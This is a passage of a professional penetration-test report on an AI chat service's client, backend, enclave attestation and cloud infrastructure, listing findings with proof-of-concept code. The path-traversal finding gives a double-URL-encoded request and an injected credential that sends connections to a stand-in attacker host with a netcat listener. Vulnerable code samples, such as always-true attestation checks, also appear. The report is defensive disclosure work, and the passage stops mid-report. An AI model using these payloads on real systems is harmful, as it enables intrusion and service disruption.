Security assessments for software that matters.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Pentest-Report ExpressVPN ExpressAI Client, Crypto & Infrastructure 03.2026

Cure53, Dr.-Ing. M. Heiderich, Dr. D. Bleichenbacher, M. Piechota, M. Elrod, N. Hippert

Index

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Introduction

“ExpressAI gives you the full power of modern AI—without asking you to trade away your privacy. Built on confidential computing enclaves, every conversation is cryptographically isolated and private by design.”

From https://www.expressvpn.com/expressai

This report describes the results of a penetration test and source code audit conducted against the ExpressVPN ExpressAI client, with a focus on its frontend and backend components, its cryptography and key management, and its underlying infrastructure.

To give some context regarding the assignment’s origination and composition, ExpressVPN contacted Cure53 in February 2026. The test execution was scheduled for March 2026, namely from CW10 - CW11. A total of twenty-two days were invested to reach the coverage expected for this project, and a team of five senior testers was assigned to its preparation, execution, and finalization.

The methodology conformed to a white-box strategy, whereby assistive materials such as sources, documentation, URLs, as well as all further means of access required to complete the tests were provided to facilitate the undertakings.

The work was split into five separate work packages (WPs), defined as:

- **WP1**: White-box pen.-tests & code audits against ExpressAI frontend & client crypto
- **WP2**: White-box pen.-tests & code audits against ExpressAI backend & auth logic
- **WP3**: White-box pen.-tests & code audits against ExpressAI enclave & attestation
- **WP4**: White-box pen.-tests & code audits against ExpressAI crypto & key mgmt
- **WP5**: Configuration review against ExpressAI AWS infrastructure & IAM

All preparations were completed in late February 2026, specifically during CW09, to ensure a smooth start for Cure53. Communication throughout the test was conducted through a dedicated and shared Slack channel, established to combine the teams of ExpressVPN and Cure53. All personnel involved from both parties were invited to participate in this channel. Communications were smooth, with few questions requiring clarification, and the scope was well-prepared and clear. No significant roadblocks were encountered during the test. Cure53 provided frequent status updates, shared its findings, and offered live reporting in the form of shared Markdown files.

The Cure53 team achieved good coverage over the scope items, and identified a total of nineteen findings. Of the nineteen security-related findings, six were classified as security vulnerabilities, and thirteen were categorized as general weaknesses with lower exploitation potential.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Overall, even though the audit identified a range of findings across the assessed components, Cure53 concludes that the general architecture and technical stack used across the tested scope have been well-conceived. Nevertheless, the audit still revealed specific areas where further refinement is advised - highlighted by the discovery of several higher-ranking findings.

Positively, the ExpressVPN team acted swiftly to resolve several vulnerabilities and weaknesses while testing was still ongoing, showcasing its commitment to the provision of a good security environment. Nevertheless, it is still recommended that all yet unresolved issues and weaknesses should be addressed in a timely manner, in order to leave the platform with a robust and resilient security posture.

The report will now shed more light on the scope and testing setup, and will provide a comprehensive breakdown of the available materials. Next, the report will detail the *Test Methodology* used in this exercise. This is intended to show the client which areas of the software in scope have been covered, and which tests have been executed. Following this, the report will list all findings identified in chronological order, starting with the *Identified Vulnerabilities* and followed by the *Miscellaneous Issues* unearthed. Each finding will be accompanied by a technical description, Proof-of-Concepts (PoCs) where applicable, and any fix or preventative advice to action.

In summation, the report will finalize with a *Conclusions* chapter in which the Cure53 team will elaborate on the impressions gained toward the general security posture of the ExpressVPN ExpressAI client.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Scope

- **Pen.-tests & code audits against ExpressAI client, crypto & infrastructure**
  - **WP1:** White-box pen.-tests & code audits against ExpressAI frontend & client crypto
    - **URL:**
      - https://app.stg.expressai.com/
    - **Focus areas:**
      - Chat encryption logic verification
      - Master-password-based key derivation
      - Local encryption of conversation history
      - Resistance against tampering, replay, downgrade and token misuse scenarios
      - Secure handling of sensitive material in memory and persistent storage
      - Trust-boundary enforcement between frontend and backend
      - Robustness against malformed inputs
      - Potential weaknesses that could undermine confidentiality guarantees made by the application.
    - **Source code:**
      - xv_expressai_officely_source.zip
      - xv_expressai_officely\frontend
  - **WP2:** White-box pen.-tests & code audits against ExpressAI backend & auth logic
    - **URL:**
      - https://app.stg.expressai.com/
    - **Focus areas:**
      - ExpressAI backend services:
      - Authentication and authorization logic
      - Quota and credit enforcement
      - API access control
      - Rate limiting
      - Protection against privilege escalation and logic flaws.
      - Robustness of backend validation mechanisms
      - Enforcement of trust boundaries between backend and enclave components
      - Resilience against injection and abuse vectors
      - Protection against replay, downgrade or token misuse attacks
    - **Source code:**
      - xv_expressai_officely_source.zip
      - xv_expressai_officely\backend-eks
  - **WP3:** White-box pen.-tests & code audits against ExpressAI enclave & attestation
    - **Scope overview:**
      - ExpressAI enclave implementation
      - Verification of the attestation workflow:
      - Enclave initialization
      - Attestation verification
      - Secure channel establishment between backend and enclave

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

        - Validation of trust assumptions regarding the hypervisor and underlying platform.
        - Identify weaknesses in attestation handling, replay resistance, downgrade protection, identity binding, and enforcement of isolation guarantees, as well as design or implementation flaws that could undermine the intended confidentiality and integrity properties of enclave-based processing
    - **Source code:**
        - xv_xai_enclave_source.zip
        - xv_expressai_officely_source.zip
        - xv_expressai_officely\backend-enclave
- **WP4:** White-box pen.-tests & code audits against ExpressAI crypto & key mgmt
    - **Focus areas:**
        - Evaluating key generation, derivation, storage and lifecycle handling
        - Use of symmetric and asymmetric primitives
        - Randomness sources, and correct integration of cryptographic libraries
        - Assess protocol-level design decisions, handling of ephemeral and session keys, protection of master secrets, and resilience against offline attacks, downgrade scenarios, replay vectors, and misuse of cryptographic APIs
    - **Source code:**
        - xv_xai_enclave_source.zip
        - xv_expressai_officely_source.zip
        - xv_expressai_officely\backend-enclave
- **WP5:** Configuration review against ExpressAI AWS infrastructure & IAM
    - **Focus areas:**
        - Focused security review of the ExpressAI AWS deployment and infrastructure configuration:
        - IAM roles and policies
        - Trust relationships
        - Network segmentation
        - Secret management
        - Terraform-based provisioning
        - Enclave deployment configuration
        - Identify misconfigurations, excessive privileges, insecure defaults, or trust-boundary violations that could weaken the security posture of the platform or undermine its confidentiality and integrity guarantees
    - **Source code:**
        - xv_expressai_ops_source.zip
    - **AWS details:**
        - Region: us-east-1
- **Test-supporting material was shared with Cure53**
- **All relevant sources were shared with Cure53**

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Fix Verification Status

Following the audit, the ExpressVPN team promptly addressed the identified findings, resolving a significant number of vulnerabilities and weaknesses. These fixes were then presented to Cure53 for formal verification. The current status of the fix verification process is detailed in the table below:

Finding	Status
EXP-23-001 WP5: Weak file permissions for Vector's Grafana credentials (Low)	Fixed
EXP-23-002 WP5: Nonexistent user has sudo without password (Info)	Fixed
EXP-23-003 WP5: Weak permissions of administrative directory (Medium)	Fixed
EXP-23-004 WP5: User nobody may control QEMU disk and install media (Info)	False pos
EXP-23-005 WP2: Rate-limiting bypass in backend-eks component (Low)	Fixed
EXP-23-006 WP5: Hypervisor lacks egress filtering (Low)	Won't fix
EXP-23-007 WP1: Attestation and VCEK signature verification are missing (High)	Fixed
EXP-23-008 WP5: Self-hosted VMs lack egress filtering (Low)	Won't fix
EXP-23-009 WP1: Constant salt in master key derivation (Medium)	Fixed
EXP-23-010 WP5: Further network hardening suggestions (Info)	Won't fix
EXP-23-011 WP5: Multiple deviations from best practice in GitHub actions (Low)	Fixed
EXP-23-012 WP5: Hypervisor reachable from VM network (Medium)	Fixed
EXP-23-013 WP5: Missing network isolation between VMs on hypervisor (Low)	False pos
EXP-23-014 WP2: Non-constant time comparison of admin API token (Low)	Fixed
EXP-23-015 WP1: Missing checks in cert-verifier certificate parsing (Medium)	Fixed
EXP-23-016 WP2: DuckDB sandbox hardening recommendations (Info)	Fixed
EXP-23-017 WP2: BFF path traversal leading to enclave config altering (High)	Fixed
EXP-23-018 WP2: Docx processing Server-Side Prototype Pollution (High)	Fixed
EXP-23-019 WP4: Lack of forward secrecy (Info)	Won't fix

Table: Fix verification status as of March 2026

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Severity Glossary

The following section details the varying severity levels assigned to the issues discovered in this report.

Critical: The highest possible severity level. Denotes issues that allow attackers to achieve extensive access to sensitive areas, such as critical systems, applications, data, and other pertinent components in scope.

High: Denotes issues that allow attackers to achieve limited access to sensitive areas in scope. This also includes vulnerabilities with limited exploitability that can incur significant impact upon the target in scope.

Medium: Denotes issues that do not incur major impact on the areas in scope. Additionally, issues requiring limited exploitation are graded as *Medium*.

Low: Denotes issues that incur considerably limited impact on the areas in scope. These mostly do not depend on the degree of exploitation, but rather on the minor severity of retrievable information or low-grade risk upon the areas in scope.

Info: Denotes issues deemed merely informational in nature. They are mostly considered hardening recommendations or best-practice improvements that will generally enhance the security posture of the areas in scope.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Test Methodology

This section documents the testing methodology applied by Cure53 during this project and discusses the resulting coverage, shedding light on how various components were examined. Further clarification concerning areas of investigation subjected to deep-dive assessment is offered, as well as detailed information regarding the approaches and attacks performed against the audited applications and elements.

WP1: White-box pen.-tests & code audits against ExpressAI frontend & client crypto

The frontend web components were scrutinized for classic web application vulnerabilities. The audit assessed whether the application properly sanitized user input, implemented appropriate output encoding, and maintained secure session handling throughout the user interaction lifecycle.

Cure53 investigated the JavaScript code and application functionality for the presence of DOM-based Cross-Site Scripting (XSS) and similar input manipulation or client-side flaws. Despite strenuous efforts, Cure53 could not locate any associated defects that were directly exploitable.

Content discovery techniques such as fuzzing and enumeration were employed on the web application API paths in order to identify potentially hidden or less-used endpoints. Furthermore, various path manipulation attacks were attempted, to check for obfuscated functionality or sensitive data that might be otherwise obscured from the public Internet.

Cross-site Request Forgery (CSRF) protections were evaluated by examining cookie attributes, token validation mechanisms, and request origin verification. The audit also assessed the application's resistance to authentication bypass attacks - including path traversal, parameter manipulation, and logic flaws in access control implementations.

The frontend verification logic was subjected to intensive analysis to determine whether all necessary cryptographic validations were performed - including measurement verification, VCEK signature validation, certificate chain verification, and replay attack prevention.

WP2: White-box pen.-tests & code audits against ExpressAI backend & auth logic

The backend services running on AWS EKS were evaluated for common web application vulnerabilities, authentication and authorization controls, and API security best practices. Testing included systematic attempts to bypass rate-limiting mechanisms, to inject malicious payloads into API requests, and to exploit potential SQL injection (SQLi) vulnerabilities in database interactions.

Cure53’s analysis employed a systematic process in order to identify, classify, and assess the risk of each potential injection vector.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Special attention was given to the use of system operations, the handling of user input in shell commands, and the validation of configuration values that could affect runtime behavior. SQLi analysis further focused on the DuckDB integration for file processing, examining whether user-controlled or LLM-generated queries were adequately sanitized and parameterized in order to prevent potential user input embeddings in SQL queries.

The Redis integration was assessed for key injection vulnerabilities and race conditions in concurrent operations. The RabbitMQ message handling was examined, to determine whether message properties could be exploited for injection attacks.

Rate-limiting implementations were tested to verify that they effectively prevent brute-force attacks and Denial-of-Service (DoS) attempts. The audit examined whether rate-limiting relies on trustworthy identifiers and whether bypass techniques such as header manipulation could circumvent protections.

API security was assessed by examining authentication mechanisms, authorization controls, and input validation across all endpoints. The audit further verified whether administrative endpoints are properly protected and whether token comparison functions use constant-time algorithms to prevent timing attacks.

Authentication flows were thoroughly tested - including the OAuth 2.0 flows employed by the application. The JWT validation logic was assessed to ensure the proper verification of token signatures, claims, and expiration. The session management implementation was reviewed to confirm that session tokens were securely stored, transmitted, and validated.

WP3: White-box pen.-tests & code audits against ExpressAI enclave & attestation

A dedicated audit was conducted on the SEV-SNP attestation infrastructure, examining the complete chain of trust from hardware generation to frontend verification. The backend enclave code for attestation generation was assessed for correctness in generating SEV-SNP reports.

The *XV_XAI_CERT_API* - which is a Rust-based certificate signing service - was audited to assess the implementation of AMD signature verification and measurement validation. Testing included the analysis of input validation and potential rate-limiting issues, as well as certificate revocation checking and secure configuration management.

Enclave environment testing further focused on the decryption pipeline for end-to-end encrypted messages, the file processing subsystem that handles document uploads, and the vLLM integration for AI model inference.

The vLLM integration was examined, enabling the team to understand the trust boundaries between the enclave application and the GPU inference engine. The integration was found to make proper use of NVIDIA’s Confidential Computing features.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

The team further verified whether attestation reports are properly signed by AMD's Versioned Chip Endorsement Key (VCEK), whether the certificate chain (ARK → ASK → VCEK) is validated, and whether enclave measurements are compared against trusted values to ensure the enclave is running expected, untampered code.

WP4: White-box pen.-tests & code audits against ExpressAI crypto & key mgmt

The testing methodology prioritized a deep-dive assessment into the cryptographic foundations of the ExpressAI platform, specifically focusing on the integrity of end-to-end encryption.

The end-to-end encryption implementation was examined to verify that master passwords never leave the client device, that key derivation functions use appropriate salts and iteration counts, and that session keys are properly generated and managed.

It was verified that the chat encryption uses a protocol and cryptographic primitives that are generally well-suited for the given requirements. The overall design of the protocol was found to be adequate.

The post-quantum cryptography implementation using ML-KEM-768 (Kyber) and Ed25519 was reviewed for correct usage, proper key generation, and secure key exchange protocols. The audit assessed whether the cryptographic libraries were used according to best practices and whether any custom cryptographic implementations introduced vulnerabilities.

The assessment scrutinized the application's handling of cryptographic algorithms to ensure that the code enforces state-of-the-art standards. This part of the methodology involved auditing the codebase for the presence of legacy ciphers, to confirm that downgrade attacks are not feasible. Testing focused on verifying that symmetric encryption is consistently performed using Authenticated Encryption with Associated Data (AEAD) and that public key encryption and digital signatures are implemented using modern, recognized primitives.

Cure53 performed a code-level review of input verification mechanisms at critical cryptographic boundaries - such as certificate parsing. This methodology also included a granular analysis of random number generators (RNGs). The investigation aimed to distinguish between cryptographically secure and insecure (e.g., *Math.random*) sources within the codebase. The goal was to confirm that every functional instance requiring strong randomness correctly utilizes a cryptographically secure generator to maintain the unpredictability of security-sensitive operations.

The integration of the cryptographic libraries in use was assessed. The project was found to depend on robust underlying libraries that have a good reputation and are well maintained. The libraries have sufficiently robust interfaces, with the effect that the underlying primitives can be used safely without requiring too much effort. A review of the code calling these libraries concluded that the corresponding interfaces are used appropriately.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

WP5: Configuration review against ExpressAI Hypervisor, AWS infrastructure & IAM

The infrastructure of the ExpressVPN ExpressAI project uses a custom QEMU-based hypervisor embedded in a cloud compute tenant and largely deployed via GitHub Actions. Here, the end-to-end encrypted AI design defined the testing methodology for the infrastructure components.

These infrastructure components were grouped into four main focus areas, with each being assessed separately:

Hypervisor:
For the hypervisor, the assessment focused on the presence of common Linux local privilege escalation and remote code execution (RCE) vectors. This included checks for misconfigurations related to *sudo*, cron jobs, and services, as well as privilege escalation paths caused by insecure file or directory permissions on scripts or executables run by higher-privileged users and writable by lower-privileged accounts. SUID binaries were also reviewed as part of the privilege escalation assessment. Several issues were identified - including overly-permissive directory permissions. In addition, the hypervisor was inspected for exposed secrets. Some secrets were found, although none could be leveraged for privilege escalation.

Next, the hypervisor was also carefully reviewed for both common and less common QEMU and virtualization vulnerabilities that could enable a guest VM to escape into the hypervisor. In this context, only network-based vectors were identified.

Virtual machines:
The VM security assessment focused on determining whether compromise of a guest VM could result in compromise of the hypervisor. This included review of the relevant QEMU settings and inspection for unsound mounts, exposed sockets, accessible key material, or similar host integration weaknesses that could permit escalation from the guest into the host.

Network:
The network assessment focused on identifying accidentally-exposed services, as well as missing or insufficient firewall controls. This included all relevant ingress and egress paths between VMs, the hypervisor, the Internet, and the cloud control plane. All of the findings in this area were hardening-related, and primarily concerned the reduction of attack surface and improvements to segmentation. For example, it is recommended that management services such as SSH on the hypervisor should not be accessible from the VMs unless operationally necessary. Overall, it is advised that significant room for improvement was identified in the network separation and access control model.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

AWS cloud tenant and IAM:
The cloud assessment began with a careful review of the exact permissions assigned to each active component. This involved collecting and analyzing all relevant AWS IAM objects - including users, roles, groups, managed policies, and inline policies - in order to build a comprehensive picture of which component had what privileges, and which privileges were actually required. This made it possible to identify potentially abusable privileges, as well as cases of excessive access that it is advised to reduce - in accordance with the principle of least privilege.

As part of this review, particular attention was given to the GitHub CI/CD integration and the associated OIDC trust relationships. The assessment specifically examined whether the GitHub Actions pipeline could abuse its existing permissions to expand its own access within the AWS tenant - e.g. by applying additional permissions through Terraform or direct API actions. Overall, the AWS and IAM configuration was found to be mature and well-structured, with inspected objects adhering to least privilege principles and demonstrating defense-in-depth in their design.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following section lists all vulnerabilities and implementation issues identified during the testing period. Notably, findings are cited in chronological order rather than by degree of impact, with the severity rank offered in brackets following the title heading for each vulnerability. Furthermore, all tickets are given a unique identifier (e.g., EXP-23-001) to facilitate any future follow-up correspondence.

EXP-23-001 WP5: Weak file permissions for Vector's Grafana credentials *(Low)*

***Fix Note**: This issue was fixed during the testing phase. Cure53 verified the fix, confirming that the problem no longer exists.*

CVSS Score: 3.3
CVSS String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N/E:P/RL:O/RC:R
CWE: https://cwe.mitre.org/data/definitions/732.html

During the analysis of the hypervisor platform, the internal attack surface was carefully scrutinized for potential local privilege escalation (LPE) vectors, as well as for design artifacts that could enable lateral movement. During this process, it was noted that the Vector daemon configuration was world-readable, meaning that its credentials could be obtained by any low-privileged user on the system.

If an attacker was to gain a foothold, then they could use these credentials to attempt lateral movement, identify additional attack surfaces, and further their LPE or lateral movement agenda.

Affected file:
/var/lib/vector/secrets

Affected file directory and permissions:
```
% ls -alh /var/lib/vector/
drwxr-xr-x [...]
% ls -alh /var/lib/vector/secrets
-rw-r--r--
```

Affected Keymaterial:
```
VECTOR_SINK_GRAFANA_LOKI_AUTH_USER="222952"
VECTOR_SINK_GRAFANA_LOKI_AUTH_PASSWORD=glc_eyJvIjoi[...]6InVzIn19
[...]
VECTOR_SINK_GRAFANA_PROM_AUTH_USER="447964"
VECTOR_SINK_GRAFANA_PROM_AUTH_PASSWORD=glc_eyJvIjoiNTQ[...]6InVzIn19
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

It is recommended to fix the secrets disclosure issue described here, by setting the minimal required file and directory permissions. In this case, this means limiting the readability to the owner or group, but not to nobody. It is advised that setting strict and minimally-permissive file permissions should be considered an essential part of system hardening, and will help to ensure that potential privilege escalation and lateral movement are as restricted as possible.

EXP-23-007 WP1: Attestation and VCEK signature verification are missing *(High)*

***Fix Note**: This issue was fixed during the testing phase, and ExpressVPN confirmed this was an artifact from the development process. Cure53 verified the fix, confirming that the problem no longer exists.*

CVSS Score: 8.7
CVSS String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
CWE: https://cwe.mitre.org/data/definitions/347.html

During the audit of the frontend attestation verification logic, it was discovered that the measurement verification was not enforced. Specifically, the code sets the verification result to true without comparing the attestation report's measurement against known-good values. The measurement is the cryptographic hash of the enclave's code binary. Without verifying this against trusted measurements, there is no guarantee that the enclave is running the expected, untampered code. Under these conditions, an adversary who had access to the backend could deploy a malicious backend and the frontend would trust it as valid and cryptographically verified.

It was further noted that the attestation bundle includes *vcekCert*, *askCert*, and *arkCert* properties, but the actual verification code never validates the VCEK[1] signature on the attestation report.

The SEV-SNP attestation chain of trust works as follows:

- AMD signs the attestation report with the VCEK.
- VCEK is signed by AMD ASK (Attestation Signer Key).
- ASK is signed by AMD ARK (Attestation Root Key).

Without verifying this chain, an attacker could forge attestation reports without AMD's hardware signature. The frontend would accept these forged reports as valid, thereby compromising the entire attestation trust model.

Affected file:
frontend/lib/attestation-verifier.ts

Affected code:

[1] https://www.amd.com/system/files/TechDocs/SevSnpVcekCertFormat.pdf

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
const vcekCert = parseCertificate(bundle.vcekCert);
const askCert = parseCertificate(bundle.askCert);
const arkCert = parseCertificate(bundle.arkCert);
// No signature verification follows…

measurementHex = getMeasurementHex(report);
checks.measurementTrusted = true;  // ALWAYS TRUE - NOT ACTUALLY VERIFIED!
```

It is recommended to implement a full VCEK signature verification flow[2] within the frontend components, as well as a certificate chain validation with the necessary AMD root certificates, analog to what the backend system already implements.

EXP-23-009 WP1: Constant salt in master key derivation *(Medium)*

***Fix Note**: This issue has been fixed by the ExpressVPN team and verified by Cure53 to be working as expected. The described issue no longer exists.*

CVSS Score: 6.8
CVSS String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P/RL:U/RC:R[3]
CWE: https://cwe.mitre.org/data/definitions/760.html

During the review of the usage of cryptographic primitives, it was noted that the derivation of the *masterKey* uses a constant salt. Reusing the same salt for different users means that an attacker can potentially derive keys for a large dictionary, and use the result to attack multiple users with the same effort that would be required to attack just a single user.

Affected file:
packages/e2e-storage/src/crypto/keys.js

Affected code:

```
  deriveMasterKeyMaterial(password) {
    if (!password) throw new Error('password required');
    const passwordBytes = Buffer.from(password, 'utf8');
    const salt = Buffer.from(this._MASTER_SALT, 'utf8');
    return Buffer.from(argon2id(passwordBytes, salt, this.argon2Params));
  }
```

It is recommended that a distinct salt should be generated for each password. Further, it is advised that the overall construction - which first derives the *masterKey* from the password and salt using Argon2 and then derives multiple session keys from the *masterKey* with HKDF - is appropriate. It is sufficient to change the salt when the password is changed.

[2] https://www.amd.com/system/files/TechDocs/57230.pdf
[3] A comparable issue is https://nvd.nist.gov/vuln/detail/CVE-2008-4905

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

EXP-23-015 WP1: Missing checks in *cert-verifier* certificate parsing *(Medium)*

***Fix Note**: This issue has been fixed by the ExpressVPN team and verified by Cure53 to be working as expected. The described issue no longer exists.*

CVSS Score: 5.3
CVSS String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N/E:P/RL:U/RC:R
CWE: https://cwe.mitre.org/data/definitions/347.html

While reviewing the certificate verification, it was noted that a number of input validations are missing. The effect of such omissions is that malformed certificates may be accepted by the code. Existing certificates can be slightly modified by an attacker, leading to issues such as signature malleability.

Affected file:
frontend/lib/cert-verifier.ts

Affected code #1:

```
function parseDer(bytes: Uint8Array, offset: number): DerElement {
  const tag = bytes[offset];
  let pos = offset + 1;
  let length: number;

  if (bytes[pos] < 0x80) {
    length = bytes[pos];
    pos++;
  } else {
    const n = bytes[pos] & 0x7f;
    pos++;
    length = 0;
    for (let i = 0; i < n; i++) {
      length = (length << 8) | bytes[pos++];
    }
  }

  return {
    tag,
    value: bytes.slice(pos, pos + length),
    raw: bytes.slice(offset, pos + length),
    end: pos + length,
  };
```

The code shown above has a number of omissions:

- It lacks range checks for the array bytes. If the certificate has been truncated, or is malformed, then *pos* can be larger than the size of the array, and *bytes[pos]* can be undefined.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

- If the encoded length of the element is longer than the array, then the element is silently truncated, instead of being reported as invalid encoding.
- The code allows arbitrary values for the variable *n*. This can have the effect that *length* overflows.
- ASN.1 reserves a length byte with the value *0x80* for indefinite length encoding[4]. At the moment, an *0x80* byte is incorrectly interpreted as an element of length 0. Since indefinite length encoding is BER and not DER, such instances should be rejected. For example:

```
  if (bytes[pos] < 0x80) {
    length = bytes[pos];
    pos++;
  } else if (bytes[pos] == 0x80) {
      throw new Error('Indefinite length encoding is not
supported');
  } else {
     [...]
```

Affected code #2:

```
function derEcdsaToP1363(derSig: Uint8Array, curve: string): Uint8Array {
  const byteLen = CURVE_BYTE_LEN[curve];
  if (!byteLen) throw new Error(`Unknown curve: ${curve}`);

  const seq = parseDer(derSig, 0);
  const ints = derChildren(seq.value);

  let r = ints[0].value;
  let s = ints[1].value;

  // Strip leading zero padding (DER uses a leading 0x00 for positive
integers with high bit set)
  while (r.length > byteLen && r[0] === 0) r = r.slice(1);
  while (s.length > byteLen && s[0] === 0) s = s.slice(1);

  // Left-pad to curve byte length and concatenate
  const result = new Uint8Array(byteLen * 2);
  result.set(r, byteLen - r.length);
  result.set(s, byteLen * 2 - s.length);
  return result;
}
```

The code shown above has the following omissions:

- A DER-encoded signature should consist of a sequence of exactly two big integers. The code currently does not check that the signature is a sequence of length 2 and that the elements are integers.

[4] https://luca.ntop.org/Teaching/Appunti/asn1.html

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

- Some incorrectly-encoded integers are accepted - i.e., negative integers should be rejected. Big integer encodings with more than one leading 0 byte are invalid.
- The length of the truncated values of *r* and *s* should be checked; they should not be longer than *byteLen*.

The severity of such omissions greatly depends on the way the affected primitives are being used. Not checking the format of the signatures properly leads to signature malleability. In some situations (e.g., when certificate revocation depends on the non-malleability of certificates), such issues can be critical[5]. Fortunately, the examination of the provided code did not find an instance where the omissions are directly exploitable.

Cure53 recommends adding stricter checks to the certificate parsing. In particular, it is advised that it would make sense to add separate functions for parsing big integers and sequences, so that all of the information (tag, formatting of the value, formatting of the length and tag) can be checked consistently.

EXP-23-017 WP2: BFF path traversal leading to enclave config altering *(High)*

***Fix Note**: This issue has been fixed by the ExpressVPN team and verified by Cure53 to be working as expected. The described issue no longer exists.*

CVSS Score: 8.5
CVSS String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:H/E:F/RL:U/RC:C
CWE: https://cwe.mitre.org/data/definitions/647.html

It was found that the ExpressAI application is vulnerable to a path traversal flaw within the Backend for Frontend (BFF) proxy routing. By utilizing double URL-encoded path segments, Cure53 was able to bypass API restrictions and access internal management endpoints. This allowed the team to spoof an internal enclave IP, and to overwrite the configuration of arbitrary enclaves.

Additionally, it was found that exploiting a URL injection vulnerability in the RabbitMQ credential parser forced the application to route traffic to a rogue instance. Blind Server-Side Request Forgery (SSRF) was confirmed during testing, where the injected payload caused the application to successfully resolve external DNS and initiate a TCP connection, but full traffic interception was prevented by correctly-implemented TLS certificate pinning.

However, the attacker could potentially still inject arbitrary Kyber 768 and Ed25519 public keys, resulting in a persistent cryptographic DoS for targeted AI models. Although the attacker can overwrite attestation-related fields, the attestation chain is validated against enclave-derived evidence and pinned keys. As a result, injected key material is expected to fail closed, and to cause service disruption, rather than a successful trust bypass. Accordingly, the primary technical impact involves persistent availability loss of targeted enclaves / models, rather than cryptographic impersonation.

[5] https://nvd.nist.gov/vuln/detail/CVE-2024-42461

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Affected file:
frontend/app/bff/proxy/[...path]/route.ts

Affected code:
```
// Blocked endpoints - VM-only, never accessible via browser (even with
auth)
// The entire /api/v1/enclave path is internal EKS<->VM communication
const BLOCKED_ENDPOINTS = [
  '/api/v1/enclave',
];
[...]
function isBlockedEndpoint(path: string): boolean {
  return BLOCKED_ENDPOINTS.some(ep => path === ep || path.startsWith(ep));
}
[...]
async function handleRequest(
  request: NextRequest,
  params: Promise<{ path: string[] }>,
  method: string
): Promise<NextResponse> {
  try {
    const { path } = await params;
    const targetPath = '/' + path.join('/');

    const BACKEND_URL = getBackendUrl();
    if (!BACKEND_URL) {
      return NextResponse.json(
        { error: 'Backend URL not configured' },
        { status: 500 }
      );
    }

    // Block VM-only endpoints - these should never be accessible via
browser
    if (isBlockedEndpoint(targetPath)) {
      return NextResponse.json(
        { error: 'Forbidden' },
        { status: 403 }
      );
    }
```

Affected file:
backend-eks/src/services/enclaveService.js

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Affected code:

```
async _getRabbitMQUrlForHost(lookupKey, urlHost) {
  // Dev mode: use fixed URL (e.g., via SSH tunnel)
  if (this.rabbitmqUrl) {
    return this.rabbitmqUrl;
  }

  // Production: get per-VM password and build TLS URL
  const password = await this._getRabbitMQPasswordForHost(lookupKey);
  if (!password) {
    logger.warn('[Enclave] No RabbitMQ credentials available for host',
{ lookupKey });
    return null;
  }
[...]
  // Build URL with per-VM credentials
  // Use urlHost (domain) for TLS certificate validation
  return `amqps://enclave:${password}@${urlHost}:5671`;
}
```

Steps to reproduce:

1. Retrieve the legitimate attestation data for the target model by sending a GET request to */bff/proxy/api/v1/attestation/bundle?model=oai*.
2. From the JSON response, extract the *vmHostname* (e.g., *xai-node1-vm3*), to obtain the target's internal IP address: *10.13.22.73*.
3. Set up a listener on an external server on a 443 port:

   nc command:

   ```
   sudo nc -lnvp 443
   ```

4. Exploit the double URL encoding path traversal to bypass the BFF block-list, and to inject a malicious AMQP connection string into the RabbitMQ credential store. Send the following POST request:

   HTTP request:

   ```
   POST /bff/proxy/api/v1/chat/%252e%252e/enclave/register HTTP/2
   Host: app.stg.expressai.com
   Cookie: bff_session=[VALID_SESSION_COOKIE]
   Content-Type: application/json

   {
     "internal_ip": "10.13.22.73",
     "env": "staging",
     "rabbitmq_password": "pwned@[ATTACKER_IP]:443/#"
   }
   ```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
